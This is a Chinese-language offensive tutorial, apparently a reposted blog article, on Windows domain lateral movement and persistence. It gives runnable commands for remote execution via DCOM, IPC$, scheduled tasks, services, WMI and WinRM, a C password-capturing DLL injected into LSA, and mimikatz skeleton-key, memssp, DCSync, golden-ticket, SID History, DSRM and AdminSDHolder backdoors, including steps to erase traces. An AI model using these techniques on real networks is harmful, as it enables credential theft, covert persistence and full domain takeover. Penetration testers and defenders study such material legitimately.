一个指定Command要使用的参数（如果有）的值；参数必须用空格分隔。例如，将参数指定为“ Param1 Param2”会导致Command接收Param1和Param2作为参数。如果要求单个参数用双引号引起来，请使用适合您的编程语言的技术。例如，在Microsoft Visual Basic中，将参数指定为“ Param1”“这是Param2”“”导致命令接收到参数1和“这是Param2”。
窗口状态
一个指定窗口状态的值。该值可以是以下字符串值之一，也可以是空字符串。如果为空字符串，则默认为“已恢复”。
“Maximized”
该命令在最大化的窗口中执行。
“Minimized”
该命令在最小化的窗口中执行。
“Restored”
该命令在已恢复或正常的窗口中执行。注意：这里会弹个黑框框
返回值
此方法不返回值。

于是乎，我们就能理所应当的想到这个东西可以被用于本地任意命令执行，就像这样

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")

我们进一步发掘其横向移动的能力

我们知道DCOM具有通过网络与对象进行交互的能力，在我们是管理员的前提下我们可以使用GetTypeFromProgID()与powershell进行DCOM远程交互。
GetTypeFromProgID(“COM”,”远程ip”) 即可指定与哪一个远程IP进行交互。所以我们可以把payload改造成这样，进而可以在其他机器上进行任意命令执行，从而达到横向移动的目的

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ，“远程ip”)).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")

9.ipc

9.1 ipc简介

IPC$是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，即能建立链接，达到访问远程计算机的目的。利用这个链接不仅可以访问目标机器中的文件，进行上传下载等操作，还能在目标机器上执行部分命令。

net use \\ip\ipc$ "password" /user:username

如果账户和口令正确，就建立好了链接。

建立好链接后就能执行以下命令

dir \\192.168.183.130\c$ 列出C盘
copy C:\Users\douser\Desktop\whoami.txt \\192.168.183.130\c$ 上传文件
tasklist /S 192.168.183.130 /U administrator /P liu78963 列出某IP上的进程信息，/U指定哪个用户执行该命令，/p指定该用户密码
net use \\IP /del /y 删除链接
net use 查看已建立的ipc链接

9.2 利用ipc横向移动

at

at \\192.168.183.130 17:05:00 cmd.exe /c "<命令>"
at \\192.168.183.130 17:05:00 powershell.exe -c "<命令>"

关于时间的获得，可以使用 net time \\IP 获得。

计划任务执行后需要删除，不留痕迹

at \\192.168.183.130 1 /delete  //1为任务的ID

关于此方法我们可以先通过copy上传恶意文件然后通过at来执行它，或者直接通过powershell远程加载上线等

schtasks

at命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了，取而代之的是schtasks命令。

横向移动的大致思路与at差不多。

在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次，启动程序为我们之前到C盘下的shell.exe，启动权限为system。
schtasks /create /s 192.168.183.130 /tn backdoor /sc minute /mo 1  /tr c:\shell.exe /ru system /f 
但也有些时候，由于当前权限或组策略设置等原因，该schtasks方法远程创建计划任务可能会报错拒绝访问,遇到这种情况，我们可以加上/u和/p参数分别设置高权限用户名和密码 
schtasks /create /s 192.168.183.130 /u username /p password /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
另外，在我们创建好计划任务后，可以通过下列指令立即让计划任务执行（如果拒绝访问的话就加上/u /p参数）
schtasks /run /s 192.168.183.130 /i /tn backdoor  // i：忽略任何限制立即运行任务
计划任务执行后需要清理痕迹
schtasks /delete /s 192.168.183.130 /tn "backdoor" /f

sc

这个命令可以操控服务。

sc \\[主机名/IP] create [servicename] binpath= "[path]"   #创建服务，其中binpath可以是某个exe文件的路径，也可以是一段指令。当为路径时，服务启动时会自动执行该exe文件，当为指令时，服务启动时会自动执行该指令
sc \\[host] start [servicename] 启动某个服务
sc \\[host] delete [servicename]   #删除服务

10.wmi

从Windows 98开始，Windows操作系统都支持WMI。WMI是由一系列工具集组成的，可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问，它允许系统管理员远程执行自动化管理任务，例如远程启动服务或执行命令。并且wimc执行命令时不会留下日志信息。

通过wmic在远程主机上开启进程

wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "command"

wmiexec

通过wmic创建远程进程时，不会有回显，需要通过ipc$链接type，重定向等手段才能看到回显结果，就很不方便，wmicexec的出现就很好的解决了这一痛点。具体原理是通过wmic在135端口进行交互，再把内容通过445端口传回来。

wmiexec普遍来说有三种版本.py，exe，.vbs。可以走socks5协议代入内网，杜绝了bypassav的麻烦。
(exe版本网上似乎很不好找) 这里用python版本，下载链接https://github.com/SecureAuthCorp/impacket/releases/tag/impacket_0_9_22， impacket按照网上安装来弄就行了
1.环境linux，我们配置好proxychanis代入内网（略
2.proxychains wmiexec.py 域名/用户名:密码@ip 获得shell
3.也可以进行hash传递 python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP

效果图

11.winrm

winRm（微软远程管理）是WS-Management协议的实现组件。WinRM是windows操作系统的一部分。是一项允许管理员在系统上远程执行管理任务的服务。通信通过HTTP（5985）或HTTPS SOAP（5986）执行，默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。你需要管理员身份才能使用它。
适用版本:适用于 Win server 2008 / Win7 及以后的系统，但是 Win server 2008 / PC 全版本系统默认关闭。只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口，允许远程任意主机来管理。

我们可以通过如下powershell命令查看机器上的winrm是否正常运行

Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

若没开启，你可以在管理员权限下执行以下指令开启

winrm quickconfig -q
or
Enable-PSRemoting -Force

远程命令执行

winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:[email protected]#$% whoami

1. Hook PasswordChangeNotify

原理：当用户修改密码时会输入明文密码，LSA会调用PasswordChangeNotify 在系统中同步密码。我们HOOK这个函数，改变其行为，就能达到获取用户修改后的密码的明文.

Tool: Powersploit下的Invoke-ReflectivePEInjection.ps1 （用于注入）
https://github.com/PowerShellMafia/PowerSploit
以及 https://github.com/clymb3r/Misc-Windows-Hacking 的HookPasswordChange.dll(需自行编译)

Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

执行如上命令，只要修改了用户的密码，修改后的明文密码就会记录在 C:\Windows\Temp\passwords.txt 文件中。

下面我们分析一下原理

当密码改变请求发生时，LSA会调用Password Filters。每一个password filter会先验证新密码的合法性和复杂度，然后LSA会发出请求已更改的信号。

该过程由 password notification DLL 完成。所以我们只需要劫持这个DLL，把它换成我们自定义的DLL即可达到目的。
这种方式一般在Server服务器上利用率较高
通常来说，这个dll文件的在注册表中的路径是 hklm\system\currentcontrolset\control\lsa的 notification packages表项。

我们要利用该方法，首先要确保密码策略已启用

至于命令行怎么修改。可以这样

secedit /export /cfg gp.inf /quiet   将组策略导出为文件
在该文件里将PasswordComplexity项值修改为1
然后用secedit /configure /db gp.sdb /cfg gp.inf /quiet 将其导入数据库
刷新组策略：gpupdate/force
重启后生效

下面我们构造dll文件去覆盖它。

首先我们的dll文件内容如下。

#include<Windows.h>
#include<NTSecAPI.h>
#include <fstream>
extern "C" __declspec(dllexport) BOOLEAN __stdcall InitializeChangeNotify() {
	OutputDebugString(L"InitializeChangeNotify");
	return TRUE;
}
extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(
	PUNICODE_STRING AccountName,
	PUNICODE_STRING FullName,
	PUNICODE_STRING Password,
	BOOLEAN SetOperation)
{
	OutputDebugString(L"PasswordFilter");
	return TRUE;
}
extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordChangeNotify(
	PUNICODE_STRING UserName,
	ULONG RelativeId,
	PUNICODE_STRING NewPassword)
{
	FILE *pFile;
	fopen_s(&pFile, "C:\\logFile.txt", "a+");
	fprintf(pFile, "%ws:%ws", UserName->Buffer, NewPassword->Buffer);
	return 0;
}

然后把这个dll文件放入system32文件，然后修改注册表，使 hklm\system\currentcontrolset\control\lsa的 notification packages表项包括我们的恶意dll文件，具体命令行操作如下

REG ADD "HKLMSYSTEMCurrentControlSetControlLsa" /v "Notification Packages" /t REG_MULTI_SZ /d "evildll" /f

重启后生效。无奈的是我把dll文件写出来了且确保是正确的，在win7和win2012上复现均失败，网上成功的例子是win2008server，可惜我并没有这个版本的虚拟机不过原理倒是懂了

2. 万能密码

运用mimkatz可以在域控机上对所有用户添加一个统一密码用来登录.

mimikatz# privilege::debug
mimikatz# misc::skeleton

然后所有用户都能用密码 mimiaktz登陆了

3. SSP注入

ssp:一个DLL文件，用来实现Windows身份验证功能，比如kerberos，ntlm。系统启动时SSP会被自动加载入lsass.exe
sspi:SSP的API接口

如果我们自定义个恶意dll文件让他在系统启动时自动加载到lsass.exe,就能得到进程中的明文密码

临时性注入(重启便失效)

mimikatz# privilege::debug
mimiaktz# misc::memssp

执行如上命令, 然后只要目标机器不重启，在目标机器上登录的用户名和密码将会被记录在 C:\Windows\System32\mimilsa.log 文件中。

长期性注入（重启不失效）

把 mimikatz中的mimilib.dll放到系统的C:\Windows\System32\ 目录下，并将 mimilib.dll 添加到注册表中，使用这种方法，即使系统重启，也不会影响持久化效果。

修改注册表 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa 的 Security Packages 项，加载新的DLL文件

用户在登录时输入的账号密码将会被记录在 C:\Windows\System32\kiwissp.log

4. SID History后门

sid history:当我们把域A的用户x迁移到域B时，B域中x的sid会发生改变，随即而来的是权限也会发生改变。所以为了避免这种权限改变，sid history诞生了， 系统会将其原来的SID添加到迁移后用户的SID History属性中，使迁移后的用户保持原有权限、能够访问其原来可以访问的资源 。

在域控上

privilege::debug
sid::patch
sid::add /sam:const27 /new:administrator 将administrator的SID添加到const27的sid history属性

然后可以在域控上验证其sid history是否更改成功

Import-Module activedirectory
Get-ADUser const27 -Properties sidhistory

可以发现现在是有SIDHistory属性了。而且末尾的500预示着ADMIN权限

5. DSRM后门

DSRM账号:每个域控上都有一个本地管理员账户也就是DSRM账户，用于在域环境出现故障时本地登录进行修复.可以利用这个账户进行持久化操作。（ 如果域控制器的系统版本为Windows Server 2003，则不能使用该方法进行持久化操作。）

我们先设置DSRM密码
域控上输入ntdsutil
然后输入reset password on server null
然后键入密码，最后按q退出即可

在mimikatz中dump本地hash可以看到多出来个Administrator

然后设置DSRM登陆方式
DSRM登陆方式有三种分别对应123.

• 0：默认值，只有当域控制器重启并进入DSRM模式时，才可以使用DSRM管理员账号

• 1：只有当本地AD、DS服务停止时，才可以使用DSRM管理员账号登录域控制器

• 2：在任何情况下，都可以使用DSRM管理员账号登录域控制器

我们需要将他改成2才行。powershell执行

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

即可.然后直接psexec登录(这里用的是cs)

注意填Realm时要填上面dump出sam时的域名（这里是DC）

6. 委派后门

这个很简单，利用约束性委派或者基于资源的约束性委派攻击得到的ST2保存起来，或者非约束性委派得到的TGT，要用的时候加载进内存就行了

7. DCSYNC

这个东西 可以实现不登录到域控而获取域控上的数据
获得以下权限就可以使用了

• Administrators组内的用户

• Domain Admins组内的用户

• Enterprise Admins组内的用户

• 域控制器的计算机帐户

然后在mimikatz里
privilege::debug
lsadump::dcsync /user:xxxx /domain:xxxxx /csv 即可

然后我们就可以通过krbtgt hash制作黄金票据登录administrator。
如果还想隐蔽一点，可以给普通用户添加如下ACE,使其获得dcsync权限

• DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)

• DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

• DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

可以以管理员权限运行powerview.ps1完成以上操作

#给域用户hack添加以上三条ACE
Add-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose
#给域用户hack删除以上三条ACE
Remove-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose

然后普通用户也可以用mimikatz调用dcsync导出hash了

配合EXCHANGE用户达到域提权目的

前提:一个exchange高权限组的用户控制权，一个机器账户

exchange安装后会在AD上生成两个容器

其中exchange windows permissions组的用户拥有writeDACL权限， Exchange Trusted Subsystem 是 Exchange Windows Permission 的成员，能继承writedacl权限，有这个权限后就能使用dcsync导出所有用户hash。
其中exchange trusted subsystem组甚至可能有继承自administrators组的权限。

假设我们已经拿到了exchange trusted subsystem中一个用户的控制权。
那么就可用dysync进行权限维持了

8. 黄金票据生成

#提权
privilege::debug
#生成黄金票据并导入
kerberos::golden /user:administrator /domain:const.com /sid:当前用户sid去掉最后一个数据 /krbtgt:krbtgt的hash /ptt

9. AdminSDHolder

AdminSDHolder是一个特殊容器，用作受保护用户或组的ACM模板。AD定期把 AdminSDHolder对象的ACL 应用到所有受保护用户或组上，防止其被有意或故意修改。如果能够修改AdminSDHolder对象的ACL，那么修改的权限将自动应用于所有受保护的AD账户和组，这可以作为一个域环境权限维持的方法 。

如何寻找受保护用户或组：

受保护用户或组的 AdminCount属性为1 。但是，如果对象已移出受保护组，其AdminCount属性仍为1，也就是说，有可能获得曾经是受保护组的帐户和组 。

使用powerview.ps1Get-NetUser -AdminCount即可获得受保护用户
Get-NetGroup -AdminCount即可获得受保护组

如何修改ADMINSDHOLDER的ACL

域管执行以下命令(powerview.ps1)

Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=CONST,DC=COM" -PrincipalIdentity xx -Verbose -Rights ALL
给AdminSDHoloder添加一条ACL,让xx用户获得完全控制权

然后默认等60分钟，待ADMINSDHOLDER生效后，xx就获得所有受保护对象的完全控制权了

-END-

作者：ConsT27，文章来源：https://www.const27.com/

侵权请私聊公众号删文

推荐阅读   

【入门教程】常见的Web漏洞--XSS

【入门教程】常见的Web漏洞--SQL注入

sql注入--入门到进阶

短信验证码安全常见逻辑漏洞

最全常见Web安全漏洞总结及推荐解决方案

常见的Web应用的漏洞总结（原理、危害、防御）

代码审计常见漏洞总结

Web安全漏洞的靶场演示

13 款 Linux 比较实用的工具

xss攻击、绕过最全总结

   学习更多技术，关注我：   

觉得文章不错给点个‘再看’吧